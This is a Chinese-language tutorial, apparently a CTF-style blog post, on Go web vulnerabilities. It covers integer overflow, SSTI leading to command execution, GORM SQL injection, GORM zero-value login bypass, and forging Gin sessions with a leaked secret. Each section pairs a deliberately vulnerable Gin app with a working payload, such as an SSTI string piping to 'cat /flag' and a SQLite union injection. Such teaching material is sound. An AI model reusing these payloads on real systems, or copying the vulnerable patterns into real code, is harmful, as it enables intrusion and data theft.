Go 安全问题
2024-05-28 Skill

1. 整数溢出漏洞

Go 语⾔是强类型语⾔, 包含多种数据类型

Go 语言数据类型

在 Go 编程语言中,数据类型用于声明函数和变量。

数据类型的出现是为了把数据分成所需内存大小不同的数据,编程的时候需要用大数据的时候才需要申请大内存,就可以充分利用内存。

Go 语言按类别有以下几种数据类型:

序号 类型和描述
1 布尔型
布尔型的值只可以是常量 true 或者 false。一个简单的例子:var b bool = true。
2 数字类型
整型 int 和浮点型 float32、float64,Go 语言支持整型和浮点型数字,并且支持复数,其中位的运算采用补码。
3 字符串类型:
字符串就是一串固定长度的字符连接起来的字符序列。Go 的字符串是由单个字节连接起来的。Go 语言的字符串的字节使用 UTF-8 编码标识 Unicode 文本。
4 派生类型:
包括:

- (a) 指针类型(Pointer)
- (b) 数组类型
- (c) 结构化类型(struct)
- (d) Channel 类型
- (e) 函数类型
- (f) 切片类型
- (g) 接口类型(interface)
- (h) Map 类型

数字类型

Go 也有基于架构的类型,例如:int、uint 和 uintptr。

序号 类型和描述
1 uint8
无符号 8 位整型 (0 到 255)
2 uint16
无符号 16 位整型 (0 到 65535)
3 uint32
无符号 32 位整型 (0 到 4294967295)
4 uint64
无符号 64 位整型 (0 到 18446744073709551615)
5 int8
有符号 8 位整型 (-128 到 127)
6 int16
有符号 16 位整型 (-32768 到 32767)
7 int32
有符号 32 位整型 (-2147483648 到 2147483647)
8 int64
有符号 64 位整型 (-9223372036854775808 到 9223372036854775807)

浮点型

序号 类型和描述
1 float32
IEEE-754 32位浮点型数
2 float64
IEEE-754 64位浮点型数
3 complex64
32 位实数和虚数
4 complex128
64 位实数和虚数

其他数字类型

以下列出了其他更多的数字类型:

序号 类型和描述
1 byte
类似 uint8
2 rune
类似 int32
3 uint
32 或 64 位
4 int
与 uint 一样大小
5 uintptr
无符号整型,用于存放一个指针

以数字类型为例, 存在 uint8 uint16 uint32 uint64 (⽆符号整型) 和 int8 int16 int32 int64 (有符号整型) 等类型

Go 语⾔在编译期会检查源码中定义的变量是否存在溢出, 例如 var i uint8 = 99999 会使得编译不通过, 但并不会检查变量的运算过程中是否存在溢出, 例如 var i uint8 = a * b

如果程序没有对变量的取值范围做限制, 那么在部分场景下就可能存在整数溢出漏洞

eg.

package main

import (
    "crypto/rand"
    "fmt"
    "os"
    "strconv"
  
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
)

func IndexHandler(c *gin.Context) {
    s := sessions.Default(c)

    if s.Get("money") == nil {
        s.Set("money", int64(100))
        s.Save()
    }

    money := s.Get("money").(int64)

    c.JSON(200, gin.H{
        "money": money,
    })
}

func BuyHandler(c *gin.Context) {
    s := sessions.Default(c)
    money := s.Get("money").(int64)

    num := c.Query("num")
  
    // apple price
    price := int64(10)

    n, _ := strconv.Atoi(num)
    total := price * int64(n)

    if n < 0 {
        c.JSON(200, gin.H{
            "message": "num can't be negative",
        })
        return
    }

    if money >= total {
        money -= total
        s.Set("money", money)
        s.Save()
        c.JSON(200, gin.H{
            "message": fmt.Sprintf("buy %v apple success", n),
        })
    } else {
        c.JSON(200, gin.H{
            "message": "you don't have enough money",
        })
    }
}

func FlagHandler(c *gin.Context) {
    s := sessions.Default(c)
    money := s.Get("money").(int64)

    if money > 100000000 {
        flag, _ := os.ReadFile("/flag")
        c.JSON(200, gin.H{
            "message": "here is your flag",
            "flag":    string(flag),
        })
    } else {
        c.JSON(200, gin.H{
            "message": "you dont' have enough money",
        })
    }
}

func main() {
    secret := make([]byte, 16)
    rand.Read(secret)

    r := gin.Default()
    store := cookie.NewStore(secret)
    r.Use(sessions.Sessions("gosession", store))
    
    r.GET("/", IndexHandler)
    r.GET("/buy", BuyHandler)
    r.GET("/flag", FlagHandler)

    r.Run(":80")
}

/ 路由可以显示当前⽤户的 money

/buy 路由则可以购买指定数量的商品 (apple)

/flag 路由可以查看 flag, 但是当前的 money 必须⼤于等于 100000000

/buy 路由中, 虽然限制了 n 不能为负数, 但是并没有限制 n 的最⼤值, 因此我们可以
控制 n, 使得 price * int64(n) 溢出为⼀个负数, 之后进⾏ money -= total运算的时候, money 就会增加, 最终拿到 flag

查阅⽂档可以得知 Go int64 类型的范围为 -9223372036854775808 ~ 9223372036854775807

已知初始 money 为 100 ,通过计算可以得到 num 的值为 922337205685477580 时会造成整数溢出,并且可以满足题目中要求的 money 的值

Proof of Work:

package main

import (
    "fmt"
    "strconv"
)

func main() {
    money := int64(100)
    price := int64(10)
    num, _ := strconv.Atoi("922337205685477580")
    fmt.Println(money - price*int64(num))
}

2. Go SSTI 模版注入

2.1 信息泄露

和 Python Jinja2 SSTI ⼀样, 在 Go 语⾔中也存在着 SSTI

Go 官⽅库中存在两个模版库: text/templatehtml/template , 区别在于后者
默认会将内容中的特殊字符进⾏ html 编码, 以防⽌ XSS 的发⽣, ⽽前者没有任何保
护措施

Go 语⾔中的 SSTI 的利⽤依赖于⽣成模版时传⼊的结构体对象, 根据对象类型的不
同, 可以造成信息泄露或调⽤其中的某些⽅法⽽造成 RCE

使⽤ {{ . }} 可以显示出传⼊的结构体的所有字段的值, 从⽽造成信息泄露

eg.

package main

import (
    "fmt"
    "html/template"
    "os"

    "github.com/gin-gonic/gin"
)

type User struct {
    Name  string
    Email string
    Flag  string
}

func IndexHandler(c *gin.Context) {
    flag, _ := os.ReadFile("/flag")
    user := &User{Name: "admin", Email: "admin@admin.com", Flag: string(flag)}
    msg := c.DefaultQuery("msg", "helloworld")
    content := fmt.Sprintf("<h1>Hello {{ .Name}}</h1> <p>Message: %s</p>", msg)
    tmpl, _ := template.New("UserInfo").Parse(content)
    c.Header("Content-Type", "text/html")
    tmpl.Execute(c.Writer, user)
}

func main() {
    r := gin.Default()
    r.GET("/", IndexHandler)
    r.Run(":80")
}

index 路由从 GET 参数中获取 msg 并直接拼接到 template 内, 后续⽣成模版内容的时候传⼊了 user 结构体, ⽽ user 结构体中存在 Flag 字段

使⽤ {{ . }} 可以显示出传⼊的结构体的所有字段的值, 从⽽造成信息泄露, 拿到flag

2.2 命令执行

如果在⽣成模版内容的时候, 传⼊的结构体对象中存在着⼀些可调⽤的⽅法, 那么可以通过 SSTI 来调⽤结构体中的部分⽅法, 实现 RCE

根据 Go 官⽅⽂档, 被调⽤的⽅法存在如下条件:

  • 存在⼀个返回值, 可以为任意类型
  • 存在两个返回值, 且第⼀个为任意类型, 第⼆个为 error 类型

eg.

package main

import (
    "fmt"
    "html/template"
    "os/exec"

    "github.com/gin-gonic/gin"
)

type User struct {
    Name  string
    Email string
}

func (u *User) QueryProcess(name string) string {
    if u.Name != "admin" {
        return "You are not admin"
    }

    cmd := exec.Command("/bin/bash", "-c", "ps -ef | grep "+name)
    output, err := cmd.CombinedOutput()
    if err != nil {
        fmt.Println(err)
    }
    return string(output)
}

var users map[string]*User

func init() {
    users = make(map[string]*User)
    users["admin"] = &User{Name: "admin", Email: "admin@admin.com"}
    users["test"] = &User{Name: "test", Email: "test@test.com"}
    users["guest"] = &User{Name: "guest", Email: "guest@guest.com"}
}

func IndexHandler(c *gin.Context) {
    name := c.DefaultQuery("name", "guest")
    content := fmt.Sprintf("{{ $u := index .users \"%s\" }}<h1>Hello {{ $u.Name }}, Your Email is {{ $u.Email }}</h1>", name)
    tmpl, _ := template.New("UserInfo").Parse(content)
    c.Header("Content-Type", "text/html")
    tmpl.Execute(c.Writer, gin.H{
        "users": users,
    })
}

func main() {
    r := gin.Default()
    r.Any("/", IndexHandler)
    r.Run(":80")
}

index 路由存在 SSTI, 并且传⼊了 users 结构体数组

同时 User 结构体存在 QueryProcess ⽅法, 该⽅法将传⼊的 name 直接拼接到 ps -ef | grep 后⾯, 存在命令注⼊

因此, 我们就可以利⽤ SSTI 来调⽤ User 结构体的 QueryProcess ⽅法, 配合命令注⼊, 实现 RCE

构造 payload:

/?name=admin%22}}{{+$u.QueryProcess%20%22|%20cat%20/flag

3. Gorm 相关

GORM 是 Go 语⾔的⼀个 ORM 框架, 它将 Go 中的 struct 类型与 SQL 表中的数据进⾏映射, 相较于直接⼿写原⽣的 SQL 语句, GORM 的使⽤⽅式更加友好, 开发者也更容易上⼿

GORM 提供了 First, Take, Last 等⽅法以进⾏ SQL 查询, ⽽这些⽅法都⽀持主键检索

db.First(&user, 10)
// SELECT * FROM users WHERE id = 10;
db.First(&user, "10")
// SELECT * FROM users WHERE id = 10;
db.Find(&users, []int{1,2,3})
// SELECT * FROM users WHERE id IN (1,2,3);
db.First(&user, "name = ?", "admin")
// SELECT * FROM users WHERE NAME= "admin"

3.1 SQL 注入

可以看到, 对于 First, Find 这些⽅法, GORM 提供了⾼度的灵活性, ⽅法传⼊的第⼆个参数既可以是数字/字符串, 也可以是⼀个 Map 对象, 甚⾄是复杂的查询条件

根据 GORM 的官⽅⽂档, 这些⽅法的使⽤也存在着⼀些隐患, 如果使⽤不当则会造成 SQL 注⼊

// 会被转义
db.First(&user, "name = ?", userInput)
// SQL 注⼊
db.First(&user, fmt.Sprintf("name = %v", userInput))

eg.

package main

import (
    "os"

    "github.com/gin-gonic/gin"
    "gorm.io/driver/sqlite"
    "gorm.io/gorm"
)

type User struct {
    ID       int `gorm:"primaryKey"`
    Username string
    Email    string
}

type Flag struct {
    Flag string
}

var db *gorm.DB

func init() {
    db, _ = gorm.Open(sqlite.Open("test.db"), &gorm.Config{})
    db.AutoMigrate(&User{})
    db.AutoMigrate(&Flag{})

    db.Create(&User{Username: "admin", Email: "admin@admin.com"})
    db.Create(&User{Username: "test", Email: "test@test.com"})
    db.Create(&User{Username: "guest", Email: "guest@guest.com"})

    flag, _ := os.ReadFile("/flag")
    db.Create(&Flag{Flag: string(flag)})
}

func IndexHandler(c *gin.Context) {
    c.JSON(200, gin.H{
        "message": "helloworld",
    })
}

func QueryHandler(c *gin.Context) {
    id := c.Query("id")
    if id != "" {
        var user User
        db.First(&user, id)
        c.JSON(200, gin.H{
            "username": user.Username,
            "email":    user.Email,
        })
    } else {
        c.JSON(200, gin.H{
            "message": "no query id",
        })
    }
}

func main() {
    r := gin.Default()
    r.GET("/", IndexHandler)
    r.GET("/query", QueryHandler)

    r.Run(":80")
}

程序的 /query 路由通过传⼊的 id 进⾏ User 数据的查询, 尽管使⽤了 GORM 框架,

但因为 id 并没有限制为 int 类型, 所以在这⾥也可以理解为传⼊的是⼀个 name = xxx 或者其它的查询条件, 存在 SQL 注⼊的⻛险

Payload:

/query?id=id=1 union select 1,sqlite_version(),(select flag from flags) --+

3.2 权限绕过

GORM 的 Where ⽅法⽀持传⼊ Struct / Map 进⾏查询

// Struct
db.Where(&User{Name: "jinzhu", Age: 20}).First(&user)
// SELECT * FROM users WHERE name = "jinzhu" AND age = 20 ORDER BY id LIMIT 1;
// Map
db.Where(map[string]interface{}{"name": "jinzhu", "age": 20}).Find(&users)
// SELECT * FROM users WHERE name = "jinzhu" AND age = 20;
// Slice of primary keys
db.Where([]int64{20, 21, 22}).Find(&users)
// SELECT * FROM users WHERE id IN (20, 21, 22);

但是对于 Struct 的查询, GORM 只会查询 “⾮零字段”, 即如果 Struct 内的某个字段值为 0 , ‘’ , false , GORM 则不会使⽤该字段构建查询条件

image-1.png

这在某些情况下, 可能会造成 “权限绕过”

eg.

package main

import (
    "crypto/md5"
    "crypto/rand"
    "fmt"
    "os"

    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
    "gorm.io/driver/sqlite"
    "gorm.io/gorm"
)

type User struct {
    ID       int `gorm:"primaryKey"`
    Username string
    Password string
    Role     string
}

var db *gorm.DB

func init() {
    randBytes := make([]byte, 32)
    rand.Read(randBytes)
    h := md5.Sum(randBytes)
    randPassword := fmt.Sprintf("%x", h)

    db, _ = gorm.Open(sqlite.Open("test.db"), &gorm.Config{})
    db.AutoMigrate(&User{})
    db.Create(&User{Username: "admin", Password: randPassword, Role: "admin"})
    db.Create(&User{Username: "guest", Password: "guest", Role: "user"})
}

func IndexHandler(c *gin.Context) {
    c.JSON(200, gin.H{
        "message": "helloworld",
    })
}

func LoginHandler(c *gin.Context) {
    var user User
    session := sessions.Default(c)

    username := c.PostForm("username")
    password := c.PostForm("password")

    result := db.Where(&User{Username: username, Password: password}).First(&user)
    if result.Error != nil {
        c.JSON(500, gin.H{
            "error": result.Error.Error(),
        })
        return
    }

    session.Set("role", user.Role)
    session.Save()

    c.JSON(200, gin.H{
        "message": "login as " + user.Username + " success",
    })
}

func FlagHandler(c *gin.Context) {
    session := sessions.Default(c)

    role := session.Get("role")

    if role == nil {
        c.JSON(403, gin.H{
            "message": "unauthorized",
        })
        return
    }

    if role == "admin" {
        flag, _ := os.ReadFile("/flag")
        c.JSON(200, gin.H{
            "message": "welcome admin",
            "flag":    string(flag),
        })
    } else {
        c.JSON(200, gin.H{
            "message": "only admin can get flag",
        })
    }
}

func main() {
    secret := make([]byte, 16)
    rand.Read(secret)

    r := gin.Default()
    store := cookie.NewStore(secret)
    r.Use(sessions.Sessions("gosession", store))

    r.GET("/", IndexHandler)
    r.POST("/login", LoginHandler)
    r.GET("/flag", FlagHandler)

    r.Run(":80")
}

题⽬数据库存在 admin 和 guest 两个账户, 但是 admin 的密码为随机的 md5, ⽆法直

接登录, 我们仅拥有 guest 的账号密码

/flag 路由限制只有 role 为 admin 时才能查看 flag

/login 路由⽤于处理⽤户登录, 注意到这⼀句

result := db.Where(&User{Username: username, Password: password}).First(&user)

Where ⽅法中传⼊了⼀个 User 结构体, 其 Username 和 Password 的值通过 post ⽅法传⼊

结合上⾯的知识点, 我们可以构造⼀些 “零值”, 使得在未知 admin 密码的情况下, 让数据库查询出 admin 账户, 从⽽成功登录

username=&password= , 即 username 和 password 都为空, 这种情况下数据库将会返回 users 表中的第⼀个⽤户 admin

username=admin&password= , 仅 password 为空, 那么这时候构建的 SQL 语句就相当于 SELECT * FROM users WHERE username = "admin" , 将会返回 admin 的数据

4. Gin 相关

Gin 框架使⽤ gin-contrib/sessions 作为 session 中间件, ⽽ gin-contrib/session 实际基于 gorilla/session , 其使⽤了 gorilla/securecookie 对 cookie 进⾏签名或加密

gorilla/securecookie ⽤于产⽣⼀个 “安全的 cookie”, 它⽀持使⽤ HMAC 对 cookie 进⾏签名, 或者使⽤ AES 算法对 cookie 进⾏加密, cookie 的内容默认使⽤ gob (Go Binary) 格式进⾏序列化

默认 gin-contrib/sessions 仅对 session 进⾏签名, 在使⽤ session 时需要指定⼀个⽤于签名的 secret

这种情况可以类⽐ flask 的客户端 session, 即 session 可能会泄露敏感信息, 且当 secret 已知时, 可以伪造 session

eg.

package main

import (
    "os"

    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
)

func IndexHandler(c *gin.Context) {
    session := sessions.Default(c)

    if session.Get("role") == nil {
        session.Set("role", "guest")
        session.Save()
    }

    role := session.Get("role").(string)

    c.JSON(200, gin.H{
        "message": "welcome " + role,
    })
}

func FlagHandler(c *gin.Context) {
    session := sessions.Default(c)

    role := session.Get("role")

    if role == nil {
        c.JSON(403, gin.H{
            "message": "unauthorized",
        })
        return
    }

    if role == "admin" {
        flag, _ := os.ReadFile("/flag")
        c.JSON(200, gin.H{
            "message": "welcome admin",
            "flag":    string(flag),
        })
    } else {
        c.JSON(200, gin.H{
            "message": "only admin can get flag",
        })
    }
}

func main() {
    r := gin.Default()
    store := cookie.NewStore([]byte("Th1s_1s_a_S3cret"))
    r.Use(sessions.Sessions("gosession", store))

    r.GET("/", IndexHandler)
    r.GET("/flag", FlagHandler)

    r.Run(":80")
}

/flag 路由需要 role=admin 才能访问, 默认的 index 路由仅能获得 role=guest 的 session

但是源码中泄露了⽤于签名 session 的 secret, 那么我们就能通过这个 secret 伪造⼀个 role=admin 的 session, 进⽽获得 flag

有两种⽅式:

  • 使⽤ secure-cookie-faker ⼯具
  • ⾃建⼀个使⽤相同 secret 的 gin web server

以第⼀种⽅式为例, 利⽤已知 secret 伪造 session

./secure-cookie-faker enc -n "gosession" -k "Th1s_1s_a_S3cret" -o "{role[string]:admin[string]}"

image-2.png